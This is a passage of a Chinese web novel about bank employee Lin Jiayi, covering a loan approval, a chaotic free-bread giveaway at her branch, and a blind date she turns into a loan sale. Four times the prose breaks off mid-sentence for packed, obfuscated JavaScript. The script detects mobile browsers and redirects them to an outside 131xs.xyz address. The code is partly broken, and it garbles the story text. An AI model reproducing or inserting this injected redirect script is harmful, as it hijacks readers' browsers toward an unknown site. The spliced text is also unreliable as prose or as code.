“我小时候测过骨龄的，长大以后就是能长到一米九的。再加上游泳这项运动本身就能长升高。” 不知道是不是林佳怡办公室中央空调的制热能力太好，裴墨的脸涨得通红，他松了松卫衣的领口，扇了扇风，但他的脸颊还是很红。 林佳怡见状，问他：“你是不是热啊？” 裴墨：“恩。” 林佳怡看了看自己身上的行服大衣，又看了看裴墨涨红的脸，可能运动员是比较容易燥热……？ “我去开点窗户。” “好。” 刚打开窗户，林佳怡办公桌上的座机就响了，她回到自己的工位上，看了一眼来电显示，一看不妙。 是豆腐店老板，是她准备今天放着不管的豆腐店老板。 她十分不情愿地接起豆腐店老板的电话：“喂，孔总吗？” “林经理，我的贷款怎么样了啊？年前能下来吗，今天房产销售联系我，让我做好资金准备了，说他们那个楼盘，过年这段时间就会开。”电话那头的豆腐店老板声音有些急切。 林佳怡一边骂房产公司不做人，大过年的卖什么房子，付什么款啊，一边只能笑脸相迎，安抚豆腐店老板：“孔总，您别急，我正在和我们总行的老师交涉，我会尽力的。” 豆腐店老板在她们支行后面的农贸市场里卖豆腐，已经卖了二十几年了，今年他儿子就要大四毕业了，他准备帮他儿子在市区里买套房子。 也就是和豆腐店老板认识以后，林佳怡才知道，卖豆腐竟然也很赚钱，孔老板靠着卖豆腐，在他们镇上买了房、买了车，现在还准备要去市区里买。 他来找林佳怡做贷款的原因，也是因为他想全款买房子，但农贸市场最近在改造，他的豆腐店也要一起改造，这才有了资金缺口。 说实话，林佳怡的调查报告里给孔老板测算了100万，对于豆腐店来说，100万的重造成本确实有点高，林佳怡能理解审批老师的疑虑。但100万是林佳怡按照以往经验，抛高了测算了，她已经做好了和审批老师讨价还价的准备，最后打个七八折，也能够覆盖孔老板的资金缺口。 “林经理，你和我说实话，我这笔贷款，能下来的吧？”孔老板不放心地问。 林佳怡犹豫了一下，还是决定实话实说：“审批老师确实有一定的疑虑，还是我最初和您说的，100万大概率是要打折扣的，但具体打多少，我会帮您和审批老师争取的。” “林经理，全靠你了！” “嗯，您等我消息。” 挂了电话的林佳怡，只能任命地打开她的电脑，果然，看到了审批老师给她发的一大段意见。 看得她一个头两个大。 7.第 7 章 林佳怡认真看完审核老师的意见，还被挑出了几个错别字，让她有些惭愧，显得她有点太粗心了。 她从显示屏前一抬起头，看到还坐在沙发上的裴墨。 糟了，她被豆腐店一打断，怎么把他忘记了。 林佳怡转念又想，她忘记也很正常，这毕竟不是她的客户，现在的她更在意100万的豆腐店客户很正常。 但也不能把他晾在这里，她站起身，对裴墨抱歉道：“不好意思，我有点忙。” 裴墨放下手机，抬头看向她：“看出来了。” 林佳怡其实很想说一句，他卡也开完了，就别坐在这里了，要么去周行长办公室坐着，要么走。她还特意打开手机，想看看周行长有没有什么最新指示。 很可惜并没有。 但他们毕竟有一些小时候的情谊，更何况他还是周行长的客户，她总不能问一句“请问您还有什么业务要办理”吧。 在林佳怡犹豫的时候，她的座机又响了。 她看了眼号码，竟然是她的审核老师姜琦，她心想这笔贷款可真是不成也得成，豆腐店老板和审核老师还挺有默契。 她又对裴墨说了一句“不好意思”，就接起了姜老师的电话。 “小林啊，马上过年了，你不要给我找事情做呀。”姜老师一听到林佳怡的声音，就向她展开了控诉。 嗯？林佳怡心想她其实是想明天再给姜老师找事情做的。怎么姜老师自己找上门来了，难道是姜老师看到了她已读不回？ 但面对姜老师的控诉，林佳怡也很无奈：“姜老师，那你就给我批了呀，我这个月还有100万的任务没完成呢。” 姜琦顿了顿又说道：“你觉得一家豆腐店，要贷款100万，这合理吗？” 林佳怡知道，姜琦大大小小给她写了这么多审核意见，最本质的原因，还是她觉得风险太高，她不想批。 “姜老师，您放心，这笔贷款我做抵押的，抵押物就是豆腐店的店面，你来看一下就知道了，这个门面的位置在整个菜场的最外面，靠近老街，你知道的，我们镇的老街现在可是网红街，而且，我才申请了评估价格的50%，评估公司给的评估价本来就是市场价的70%了，风险不高的。” 姜琦又问她：“你报告里写的，豆腐店要翻新改造？” “对，其实是整个市场改造。”林佳怡灵机一动，“姜老师，豆腐店在我们隔壁菜场边上，那个菜场是就要改造了，公告都贴出来了，要不，您有空过来实地看一下？” 姜琦犹豫道：“我又没有出外勤的合理理由。” 林佳怡感觉到了一丝松动：“来呀，来指导我工作，来看看豆腐店翻新装修实景，然后我再带你去吃小馄饨！平时工作日，人不多的。” 林佳怡成功说动了姜老师来她们支行指导工作，这下她放下心来，这笔贷款至少不至于被驳回。 她刚准备对着姜老师的审核意见修改她的调查报告，她的手机又响了，这次是她的直属上司霍行长。 这个小小支行里，真的是充满了行长。 林佳怡看着自己手头的贷款资料，一抬头，又看到正在沙发上玩手机的裴墨。 她觉得这个场景有点诡异，但是裴墨不走，她又不能赶他走。 眼下，霍行长的电话，她又不能不接，不知道她又要给她布置什么活。 林佳怡接起电话后，就听到霍行长说道： “小林，我今天不回来了，刚刚开会的时候，听到总行的人在说，二次分配的金额已经出来了，你关注一下oa，看看有没有工单下来。” 哦？ 霍行长给她派的这个活，她愿意做。 这可真是她今天忙到现在听到的最振奋人心的消息了。 二次分配的工单下来了，年终奖还会远吗？ 只是在拿到年终奖之前，还会有一场混战。 她点开oa，用之前霍行长教过她的路径，点开了她们支行接收到的所有工单界面，果然，看到了一张时间在10分钟打到周行长名下的二次分配工单。 林佳怡：“有，已经下来了。” 霍行长：“你拍给我。” 林佳怡：“好的。” 霍行长：“你今天晚上有空吗？” 林佳怡的“可能没有”还没来得及说出口，就听霍行长又说道：“你也算一算。” 林佳怡：“啊？这不是徐行长的工作吗？” 支行的二次分配，都是由内勤行长算的，周行长看到这个工单以后，会派发给徐行长，让徐行长算出奖金分配的方案。 霍行长沉默了一会，然后对她解释道：“你就当自己是内勤行长，领导让你算，你会怎么算。这样等徐行长算出来，你就心里有数，他分的不对的地方，到时候找行长理论，也有理有据。” 她听懂了霍行长的话，大为震惊，她瞬间打开了思路，她从来没有想过，奖金还能自己算，她好像有点明白，为什么以前她们楼下在年终奖battle中一直会输掉了。 这样是要输的呀。 林佳怡：“好的。”这个班她今天晚上是加定了。 霍行长继续说道：“等过两天，你不被周行长抓去楼下干活的时候，我们一起分析一下今年的绩效考核。” 林佳怡：“诶？” 霍行长只能又解释道：“磨刀不误砍柴工，你得仔细研究考核要求，这样才能知道今年干什么，能拿到更多的奖金，明白吗？” 林佳怡点了点头，但一想到电话那头的霍行长看不懂，她又“嗯”了一声。 “零售条线，就我们两个人，我们可不能给其他人白打工。”霍行长话音一转，“今年我也不会手软哦。” 林佳怡这才想到，她去年是楼下的，和霍行长不在一个条线。 林佳怡莫名鼓起勇气，说道：“霍行长，今年我也会好好算的！” 霍行长在电话那头笑了一声：“好，看你本事。” 说起来，他们银行每年的年终奖二次分配时间，和支行吃年夜饭时间总是会重叠在一起。 她们支行倒也还好，楼下的柜员组虽然会在背后蛐蛐徐行长不做人，不为她们争取利益，但她们支行效益好、总的盘子大，最后分到每个人手里的奖金总额还是让人满意的，所以还能客客气气地坐下来一起吃年夜饭。 她们希望徐行长帮她们争取的那点奖金，只要能吃年夜饭的时候，哄得行长开心，多发几个大额红包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559119|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也算能补贴到位。 其他有几个效益没有那么好的支行，就不一样了， 据说去年有个支行，因为一个分了很多年终奖的客户经理，抽奖抽到了特等奖，拿了一台新款手机，原本就矛盾重重的他们直接在年夜饭的时候吵了起来。 这一通操作做完，林佳怡看了眼时间，快到楼下关门的点了，她得把开卡机在徐行长下班之前还回去，不然他又要话多。 不过还好，今天看样子，他们也是不会准点下班的。 这么想着，林佳怡又看了眼坐在沙发上的裴墨，她终于忍不住开口：“你是在等周行长下班吗？” 裴墨摇了摇头：“不是，我一会儿约了人，不想再来回跑了。” 林佳怡好奇道：“你现在住哪里？当年我记得我妈和我说，你们一家搬去省会了？” 裴墨：“还住你们家隔壁。” 林佳怡感到奇怪：“所以你们的老房子没卖掉？” 因为林佳怡没有见裴墨一家回来过，那套房子里也在不断地换人住，她还以为他们早就把老房子卖掉了。 裴墨：“没有，我爸知道我要退役，前阵子还回来装修了一下。” 林佳怡接着问道：“那你退役的话，就住镇上了？” 裴墨点了点头：“嗯，大概率会去龙江大学当老师。” 龙江大学的新校区，就在她们镇上，难怪裴墨要住回来，她其实觉得这个安排也还不错，但她想到刚刚裴墨说道他还想继续游时候的神情，又觉得这个还不错的退役去向，可能并不是现阶段的裴墨最想要的。 林佳怡转开话题：“行，反正我们住得近，我们镇现在可是网红镇，是龙江旅游必打卡地，等我忙完这几天，我带你去吃点特色美食。” 裴墨：“好，吃小馄饨吗？” 林佳怡愣了愣，这才想到刚刚她和姜琦的对话被他听到了：“小馄饨你小时候也吃过的呀。” 她们镇上的小馄饨是林佳怡从小吃到大的，她印象中，最早的时候，2块钱能有一大碗，后来也不知道怎么突然火起来以后，价格也涨上去了，不过好在味道还是小时候的味道。 小时候，她奶奶有时候不愿意烧饭，经常带着她和裴墨中午去吃小馄饨。 “嗯。” 裴墨“嗯”完以后，过了一会儿，似乎也觉得气氛有点沉默，他又说道：“我记得你，小时候不太爱说话的。” 林佳怡也被裴墨这句话说得愣了愣，她何止小时候不爱说话，她现在也不爱说话啊！ 只是因为工作需要，她才被迫说话。 而且，她说“等她忙忘这几天”，这不就是客套话吗，她怎么会有忙完的时候！ “没办法，我这个工作，就需要我这样子。”林佳怡又看了眼时间，“你到约好的点了吗？你再不走，楼下要关门了。” 裴墨：“哦，你下班吗？” 林佳怡叹了口气：“我当然不下，一会儿周行长肯定又要cue我下去帮忙。” “行，那我先走了。” 林佳怡看着裴墨走出办公室，赶紧给许斯斯发消息。 【林佳怡6733：下来了下来了。】 希望带手表的许斯斯能看到。 8.第 8 章 许斯斯看到了她的微信消息，也很快地回复了她。 【嘶嘶嘶：哪儿呢？帅哥这会儿还敢下楼啊。】 林佳怡看了眼时间，距离关门的四点三十还差一分钟，许斯斯竟然敢给她回消息，这可真是顶风作案。 但很快，她就知道为什么许斯斯敢这么做了。 因为裴墨又上来了。 林佳怡看着又出现在她办公室门口的裴墨，问道：“楼下怎么了？” 裴墨高大的身影站在她办公室的门框下，回答她：“堵住了。” 林佳怡没理解这句话：“啊？” 这怎么堵，堵什么？ 裴墨又说了一遍：“楼下的大门被堵住了。” 林佳怡愣住了，随后她想起了下午她和陈夏讨论的，晚上发面包的事情。 难怪许斯斯敢给她发消息，原来是因为楼下已经乱成一锅粥了。 林佳怡赶紧给许斯斯发消息，问下面什么情况。 【林佳怡6733：该不会是都是来领面包的吧？】 【嘶嘶嘶：大概率是，小林姐，你快从后门溜走吧。】 林佳怡看了看杵在门口的裴墨，很认可许斯斯的建议。 林佳怡对裴墨说道：“我带你走后门。” 就是那扇上次沈行长偷偷溜走的后门。 “好。” 林佳怡虽然很想去楼下看看能被堵住的大堂盛况，但她不敢，她怕下楼被哪个领导看到抓住她，让她一起去维持秩序。 于是，她从柜子里拿出年头上为了庆祝自己升职买的新包，收拾了一下桌面，准备今天准时下班。 关上办公室门的时候，她看了眼隔壁那扇从她下午上来就没见打开过的对公办公室的门，觉得她还是太嫩了，她要学的东西还有很多。 她带着裴墨从外面的楼梯下楼，走到院子门口，她指了指方向，让他从旁边的小弄堂里走出去，外面就是老街。 还没等她送裴墨出门，她的手机又响了。 她看了眼手表上的来电人，又是周行长。 她无奈，只能掏出手机，接起周行长的电话。 “喂，小林，你走了吗？”周行长在电话里问道。 林佳怡顿了顿，犹豫了一下，还是决定实话实说：“我在送裴墨。” 周行长这才想到还有一个他的客户：“哦，对，你照顾好小裴，带他走后门，别走正门。” 林佳怡不好意思说，裴墨已经看到了楼下的场景：“好的。” 周行长这才进入正题：“你送完裴墨，到大堂来帮一下忙，一会儿总行的配送车会来送面包，你帮着一起发一下。” 她就知道。 她就猜到！ 她躲不过这事。 也不知道是谁想出来，发面包。 但她还是想挣扎一下，她婉拒道：“周行长，不太行诶，我晚上还约了个客户，要做信用贷的。我这个月还差了100万任务，你知道的。” 周行长顿了顿，问她：“你约的几点？” 大概是她妈和她说的“七点半，湖畔咖啡”太深入她的脑子，林佳怡嘴比脑子快：“七点半。” 周行长像是松了口气似的：“那你留下来帮会儿忙，一会儿在行里吃晚饭，正好，你给隔壁打个电话，让他们送15份盒饭过来。” 林佳怡：…… 她怎么就嘴快呢，她就应该说她要和客户一起吃晚饭啊！ 而且，她是内勤吗，她负责食堂吗？为什么让她点菜？！ 抱怨归抱怨，她还是：“好的。” 她挂了电话，见裴墨还没走，她愣了愣，朝他挥了挥手：“拜拜。” 裴墨这才跟她再见，迈开他的长腿走出了她们支行大院。 看着裴墨的背影，和隔壁院墙，林佳怡忍不住思考，他这个身高，想要翻墙进隔壁院子，应该也很容易吧？ 见裴墨走出弄堂口，她才低头给她们支行的“小食堂”——谢家阁打了一个订餐电话。 说是“小食堂”，只是正好在他们支行隔壁，有时候他们加完班一起去吃很方便，或者让他们送餐过来也很近。 重新回到楼里的林佳怡刚打开联动门，就看到外面乌泱泱的一片人，吓得她赶紧躲进柜台里面。 林佳怡站在叶师傅的柜台后面，惊叹道：“这些人，该不会都是来领面包的吧？” 叶师傅回头看了她一眼，说道：“小林你也听说了？” 林佳怡：“对啊，我下午还在和陈陈说，这种消息传起来很快的。” vip室的王清禾也走了过来，接话道：“不知道是哪个领导拍脑袋想出来的。” 许斯斯也加入他们的对话：“难怪我下午听徐行长在打电话，说总行安排了车统一派送面包。” 王清禾问道：“面包到了吗？” 许斯斯指了指大堂里：“应该还没有，徐行长还在大堂里呢。” 王清禾看着眼前的情形，冷笑一声，道：“想出来给厅堂里延时服务的客户送面包的人，真是一个奇才。” “不一定他今天坐在办公室里，还觉得自己是‘营销鬼才’呢。”林佳怡说道。 许斯斯接话道：“不知道叔叔阿姨们有没有感动到，反正我被感动到了。” 叶师傅冷不丁来了一句：“我不敢动。” 林佳怡看了眼叶师傅，他还挺幽默。 不过，她也不敢动，也不敢出去。 林佳怡感慨道：“他们就没有想过，我们银行本来因为代发社保，就承担了一点社会责任，现在在这里发面包，这些爷爷奶奶叔叔阿姨们说不定觉得是政府福利呢。” 叶师傅长叹一口气：“我就说我昨天晚上回村里，听到几个老人在说龙江银行晚上发面包，我昨天还没听懂。” 许斯斯不理解：“我都是今天听你们说，才知道这件事情，这些叔叔阿姨们怎么会消息这么灵通的？” 王清禾：“龙江市很小的。” 林佳怡看着保安师傅拉到一半的卷帘门，隔着卷帘门，外面还有不少人想要进来，这个场景怎么看都有点诡异。 也不知道陈夏他们支行现在是什么情况，还是陈夏也像他们支行其他客户经理那样，早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565365|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早找借口溜走了。 周行长这会儿和徐行长一起在大堂里维持秩序，他看到林佳怡站在柜台里，朝她招了招手，示意她出来。 叶师傅见状，还调侃了她一句：“小林，周行长很信任你嘛。” 林佳怡无奈地摇摇头：“我希望他不要信任我，他一天要喊我八百遍。” 在走出柜台的时候，林佳怡都在想，她可能不应该把裴墨送走，裴墨的大高个在这里肯定很有用。 好不容易挤到周行长身边，周行长身旁的一位阿姨正在问周行长： “什么时候发面包啊？” “面包？不是米吗？”另一位叔叔听到阿姨的问法，感到奇怪。 林佳怡：…… 她觉得她们周行长真的蛮惨的，这一天，怕是要给他留下不少心理阴影。 原本周行长来她们支行做行长的时候，她们几个人还在讨论，说周行长下来就是镀一镀金，肯定很快要回总行的，现在看来，这层金可真不好镀。 她刚刚还在奇怪，怎么她帮裴墨开完卡，周行长声音都没有了。他确实没有心思再管裴墨了。 林佳怡决定故技重施，她站在周行长身旁大喊一声：“周行长！” 周行长被她吓了一跳，刚刚说话的阿姨和叔叔也被吓了一跳。 他们三个人一起看向她。 林佳怡：“……周行长，您找我？” 周行长把她拉到一旁，对她说道：“你要不给派出所打个电话吧，这么多人，我怕出事。” 林佳怡刚刚在柜台里，隔着玻璃看到外面的场景时，也觉得应该报警。但是毕竟这事以前没有碰到过，现在周行长这么说，她找出微信里在绿篱派出所当警察的高中同学丁凯峰，拍了一张大堂里面的照片发过去，然后给他打了个电话。 “喂？又要办卡？” 丁凯峰高中时期是她的后座，和她关系不错，她之前死磨硬泡让丁凯峰和他的同事们帮她完成了好几张信用卡。 林佳怡叹了口气：“我要报警。” 丁凯峰也不客气：“那你打110。” 林佳怡：“……我先问问你，我们支行这种情况，你们会愿意派人来维持秩序吗？” 丁凯峰不明所以：“什么情况？” 林佳怡：“你看眼微信。” 林佳怡等了一会儿，听到丁凯峰对她说道：“你等一下，我去和我们队长汇报。” “好，不然我怕一会儿我真要报警。” 林佳怡打电话的这一会儿，她还听到刚刚的叔叔在纠结：“不是说大米吗？怎么变成了面包。” 徐行长和他解释：“只有面包，没有大米。” 叔叔又道：“面包谁要咯。” 徐行长还没再说话，另一位阿姨又在问了：“面包在哪里？什么时候发？” 徐行长看了眼手机：“派送车马上就到了。” 一个叔叔不满道：“你们怎么回事啊，发点东西都不准备好的。” “就是，我拿了还要回去吃晚饭的。” “对呀，发东西么怎么晚上发的咯。” 9.第 9 章 临近七点，柜台上已经没有了要办业务的人，吵吵嚷嚷的大堂里都是来凑热闹领面包的人。 林佳怡真的是上周行长的当，她忙到现在，根本就没有坐下来吃饭的时间。 眼看柜员们轧好账、扫完凭证能到大堂帮忙了，林佳怡赶紧和周行长说她的信用贷客户还等着她，想从后门溜走。 还没等她打开联动门，丁凯峰不声不响地站在了她的身后，喊她： “林佳怡。” 丁凯峰忙到现在，才有空来找林佳怡聊天，就看到林佳怡鬼鬼祟祟想要溜走。 林佳怡吓了一跳，有一种做贼被抓的感觉。 “你怎么偷偷溜走。”丁凯峰质问她。 林佳怡挺直了腰板：“……我这怎么是偷偷溜走，我光明正大地走。” 丁凯峰：“你有事？” 林佳怡：“嗯，我要去见个客户。” 丁凯峰也就不再多问了。 林佳怡路过食堂的时候，她犹豫了一下，还是决定拿一份饭走，她都不敢在支行多留，生怕一不小心又被喊住。 湖畔咖啡在老街的中间，她也不想再回家了，摘了头花和领结，就骑上电瓶车，直接去了。 湖畔咖啡的老板郑书音，林佳怡也认识，之前是她上一任理财经理的客户，现在被继承给了她。 她刚推门走进咖啡厅，郑书音就喊她了：“佳怡，你怎么来了？怎么没提前和我说” 语气中还有些惊讶。 林佳怡挣扎了一下，说道：“来相亲。” 郑书音轻笑一声，她还不了解林佳怡吗？ “这次又是什么任务没完成？” 林佳怡坐到郑书音面前的吧台上：“还差一点零售贷款。” 郑书音主动问她：“需要我帮助吗？” 林佳怡摇了摇头：“不用，郑姐姐你可是我的终结武器。这两天大堂里这么忙，要是真完不成我就去找周行长哭。” 郑书音觉得林佳怡说话真的挺有意思的：“我不信你哭得出来。” 林佳怡笑道：“这可事关我的考核奖金！我当然哭得出来。” 林佳怡把盒饭从袋子里拿出来，问郑书音：“郑姐姐，我在你店里吃个饭。” 郑书音：“你晚饭还没吃？要不要我给你做个三明治？” 林佳怡摆了摆手：“不用不用，谢谢啦，我特意从行里拿的盒饭，有羊毛当然要薅！” 郑书音笑道：“行，那要喝点什么吗？” 林佳怡想了想，一会儿让相亲对象请她喝东西好像也不好，毕竟她还有求于人，于是她对郑书音说道：“那我要一杯热拿铁。” 林佳怡又补充道：“要在我卡上扣钱的！” 郑书音：“知道了。” 林佳怡在吧台上吃完了饭，把垃圾收拾完以后，她看了眼时间，七点一刻，但咖啡厅里并没有出现疑似她相亲对象的人物。 她站起身，端起郑书音给她做好的咖啡，准备找一个隐蔽一点的角落位置。 因为她点的热拿铁，有个勺子，所以她是连着小托盘一起端的。 她走到接近咖啡厅大门的位置时，一个拎着公文包的男人推开门走了进来，看到她就对她说道：“两位。” 林佳怡看着手里的托盘，又看了看身上的行服衬衫，愣了愣。 她自己也觉得很合理。 咖啡店的老板是她朋友，她也可以客串一下服务员，于是她对着那人说道：“空位随便坐。” 那人朝她点点头，径直往林佳怡刚刚看中的那个双人位旁走去。 林佳怡：…… 她只能换个角落。 她在另一边的角落里坐下时，又看了眼时间，距离七点半没剩几分钟了，也不知道她的潜在客户到了没。 她坐着等了几分钟，进进出出的人看起来都不像是来相亲的。 眼看七点半就要到了，她环顾四周，有在写作业的小孩，有在打牌的女生，还有几个在拍照打卡的女生，以及…… 她转过头，看到那人翘着二郎腿坐在刚刚被她看中的位置上。 男的、拎着公文包的，他坐下以后，也没有点餐，看起来就像是在等人的样子。 虽然看起来长相有些成熟，但确实是整间咖啡厅里最像的人了。 行吧，反正林佳怡也时抱着完成一笔信用贷的目的来的，她站起身，重新端起面前的咖啡。 “铃铃铃——” 恰巧这时，咖啡厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567321|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大门被打开了，风吹起吧台前挂着的风铃，发出清脆的声音。 只见一个熟悉的面孔出现在了咖啡厅门口。 看到裴墨出现的时候，林佳怡看了眼手表，时间正好是七点半。 她忽然想到裴墨和她说的，他退役后，要去龙江大学当老师，这怎么不算是“体制内”呢。 至于重点大学研究生，裴墨都能在龙江大学当老师了，是重点大学的研究生也不奇怪。 唯一可惜的是，好像她今天来的目的不能实现了。 裴墨也看到了她，朝她挥了挥手，随后林佳怡就看到了跟在裴墨身后进来的一个个子比他矮了不少的男生。 他们在拎公文包的男人身后的空位上坐了下来。 林佳怡：…… 她只能继续拿起她的咖啡，走到拎公文包的男人的位置旁。 那人见林佳怡走过来，还朝她摆了摆手：“我等人。” 林佳怡顿了顿：“先生，有没有可能，你等的人，就是我呢？” 那人明显愣了愣，他打量了一下林佳怡，问道：“你是王阿姨介绍的？” 林佳怡点了点头，她家邻居确实姓王。 那人还挺有礼貌，看到林佳怡点头，赶紧把公文包放到地上，站了起来，道歉道：“不好意思，我刚刚以为……” 林佳怡微笑：“没关系，我们支行今天有点忙，我没来得及回家换衣服。” 那人自我介绍道：“我叫何思远，在市政府上班。” 林佳怡的咖啡终于能放下了：“我叫林佳怡，是龙江银行绿篱支行的理财经理。” 何思远见她把咖啡放下来，又道：“你已经自己点好的话，我就不喝了，我晚上喝咖啡会睡不着。” 林佳怡：“好的。” 林佳怡在何思远的对面坐下后，迅速进入正题：“何先生，您是龙江人吗？” 何思远摇了摇头：“不是，我老家A市的。” 林佳怡点了点头：“那您在龙江有购房计划吗？” 何思远没想到林佳怡会问得这么直接，他愣了愣，说道：“有的，目前已经看中了一个楼盘，准备付定金了。” 漂亮。 林佳怡在心底暗自叫好。 10.第 10 章 坐在林佳怡背后一桌的裴墨，是来和他朋友讨论退役以后的入职安排的，会看到林佳怡，意外又不意外。 绿篱镇一共就两条主路，一条老街一条新街，她下午说她约了客户，在咖啡厅看到她真的一点都不奇怪。 绿篱镇真的太小了。 但是林佳怡会端起咖啡坐在他的身后，确实是他没想到的。 和朋友简单地聊了几句后，他的注意力莫名地就转移到了他背后的桌子上。 “你是王阿姨介绍的……？”！ “你好，我叫何思远，在市政府上班。” “林佳怡，龙江银行绿篱支行理财经理。” 嗯？ 裴墨又回忆了一下，他下午从绿篱支行走之前，听到的是林佳怡说她要来见客户。 可这对话，怎么听都像是来相亲的……？ 他喝了一口面前自带的保温瓶里的水，继续听。 虽然不太道德。 然后，他就听迷糊了。 “何先生，请问您购房款的付款资金准备得怎么样了？” 相亲问房子好像勉强能算合理，那购房资金呢？ 难道林佳怡打算和相亲对象一起买房子？ 这不能吧？刚刚还自我介绍呢，这下认识多久。 林佳怡对面的何思远听到林佳怡这么问他，也愣住了。 但林佳怡问得真诚，像是真的要帮他解决资金问题一样，于是，他回答道： “目前首付还差一点，准备找亲戚朋友先借一下。” 林佳怡听到这个答案，心口一松，成了！ 见林佳怡脸上露出笑容，何思远问道：“林小姐是打算帮我解决这个问题吗？” “如果林小姐愿意帮忙一起出首付的话，结婚以后房子上可以加上你的名字的。” 何思远的脸上也露出了笑容，他真没想到，现在还有这么“单纯”的女孩子，愿意帮助他。 他原本今天来相这个亲，也是本着闲着就是闲着的心态，没想到还有这收获。 坐在林佳怡背后的裴墨听到何思远的说法，眉头一皱，一起付首付还要结婚再加名字，这不太行吧。 不过这话一出，裴墨心中的天平彻底倒向了“相亲”，没有人会和自己的客户谈结婚加名字。 坐在何思远对面的林佳怡听得两眼冒光，她从包里掏出一份宣传册，递到何思远面前：“龙江银行龙速贷了解一下！” 何思远：？ 林佳怡背面的裴墨：？ 到底是客户还是相亲对象？ 林佳怡没有看到何思远和裴墨变化的神情，她在继续介绍她们银行的信用贷。 “何先生，像您这样的政府工作人员，现在的利率可以做到3%，我们也和目前龙江市面上的银行对比过，基本上没有哪家银行比我们利率更低。而且是按月付息，到期还本的，30万的话一个月利息只有800多块。” 叽里呱啦说了一堆，内容是什么裴墨也没听清楚，但听着林佳怡的话，他都能想象出来林佳怡现在说话的神情，和下午对着他介绍理财的时候一样，神采飞扬的。 对面的何思远听到林佳怡的介绍，一时间表情变了又变。 “不是……我以为我们是来相亲的……？” 何思远先是提出疑问，疑问中带着写迟疑。 林佳怡以前也碰到过这种状况，她有可以回答的话术。 但没等林佳怡开口，何思远又继续问道：“真的能做到3？” 3这个利率确实让他心动，他这几天确实为这事儿有点发愁，问了好几个同学朋友，确实没有其他银行能做到这个利率。 林佳怡听到他这么问，笑得更真诚了：“可以，只要你的征信没问题。” 何思远也露出了笑容：“征信应该没问题。” 林佳怡从她的包里掏出一个平板：“您先扫码填一下信息。” 何思远再次愣住了，他看向林佳怡。 林佳怡看出了何思远眼中的疑惑，她“哦”了一声，解释道：“我刚刚下班，还没来得及回家，正好就在包里。” 林佳怡说的时候也有点心虚，毕竟对方是冲着相亲来的，而她真的是冲着完成任务来的。 于是，她继续说道：“干我们这行，就是这样，早上早晚上晚的，我的同事经常和我们抱怨，她早上出门小孩还没起床，晚上回到家小孩又要睡了，家庭生活都参与不了。” 何思远边填资料边附和她：“那你们工作很辛苦啊。” 林佳怡：“是啊，我同事现在还在加班呢。” 何思远听她这么说，又抬起头看向她。 林佳怡继续解释：“我妈让我今天一定要来，我才请假的，不然我现在也在加班。” 何思远点了点头：“是不是因为最近过年啊。” “对，不过我们一年四季都这样，过年是开门红，过了开门红是年中冲刺，然后到下半年又要跨赛，基本上全年不停。”林佳怡边说边指导何思远在平板上填写个人信息，完成测算。 何思远听完这些，还感慨了一下：“我平时忙起来，也经常要加班加到半夜的，我们两个都这么忙的话，好像不太合适啊。” 林佳怡觉得何思远可太上路了。 她赶紧赞同：“是啊是啊。” 何思远还和她解释了一下：“我手里的钱，原本是够付首付款的，还能买辆车。但是我妈那套房子房型不好，想让我买套面积大一点的，但是我的车定金也付了，所以就缺了一点。” 林佳怡听了这话，更高兴了：“那到时候这个钱下来，你直接刷卡买车就行，买车是正当用途。” 林佳怡和何思远办完贷款业务，说再见的时候，裴墨这边要商量的事情早就商量完了，他让他的朋友先走了。 只是他一心二用，并没有搞清楚林佳怡到底是来干嘛的，只听出来了林佳怡好像做成功了一笔业务。 他见林佳怡起身和何思远再见，便也站了起来。 “何先生，那您慢走。”林佳怡话音刚落，就感受到旁边有一块阴影挡住了她，她抬起头，看到了同样站起来的裴墨。 她以为是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581940|170840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她挡了他的路，赶紧让开一点，缺见裴墨并没有动作。 原本准备离开咖啡厅的何思远也抬头看了站在林佳怡身旁的裴墨一眼，从他这个角度看过来，好像裴墨才是和林佳怡一起喝咖啡的人。 他没管裴墨，和林佳怡挥了挥手，转身离开了。 